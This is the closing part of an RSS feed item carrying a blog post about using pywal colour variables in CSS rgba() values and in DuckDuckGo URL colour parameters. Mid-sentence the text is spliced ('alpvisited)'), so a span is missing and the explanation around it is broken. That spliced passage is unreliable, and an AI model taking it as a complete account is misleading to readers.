<p>Also described in the docs are modifiers that can be applied to the variables that will be replacing the
{variable} tags. By default just using {color2} for example outputs a hash with a hex code eg. <strong>#FFFFFF</strong>.
You can instead however use {color2.rgb} to, as you might guess, output the colour in rgb eg. <strong>255,255,255</strong>.</p>
<p>Since I wanted transparency I knew the colour would need an alpha value. There is an option to output the
variable in rgba format but then I couldn't manually override the alpha value. I ended up with this:</p>
<p><strong>background: rgba({background.rgb},0.7);</strong></p>
<p>so I'm using the rgb modifier to output the colour in rgb format but wrapping that in an rgba format
while defining my own alpvisited) and then encoded them into
the url along with the search term:</p>
<p><img loading="lazy" alt="Url encoding colours" src="https://samiser.xyz/images/getting-creative-pywal/url-encoding.png" /></p>
<p>This gave some nice results:</p>
<p><img loading="lazy" alt="Day 2 DuckDuckGo" src="https://samiser.xyz/images/getting-creative-pywal/day2-ddg.png" /></p>
<p><img loading="lazy" alt="Day 3 DuckDuckGo" src="https://samiser.xyz/images/getting-creative-pywal/day3-ddg.png" /></p>
<p>You can find out more about DuckDuckGo url parameters <a href="https://duckduckgo.com/params">here</a>.</p>
<h2>Conclusion</h2>
<p>Pywal is great. I feel like I've still only scratched the surface of using it in different ways for different
applications. I hope this inspires you to try playing about with it on your own system.</p>
<p>Thanks for reading.</p>]]></description>
    </item>
    </channel>
</rss>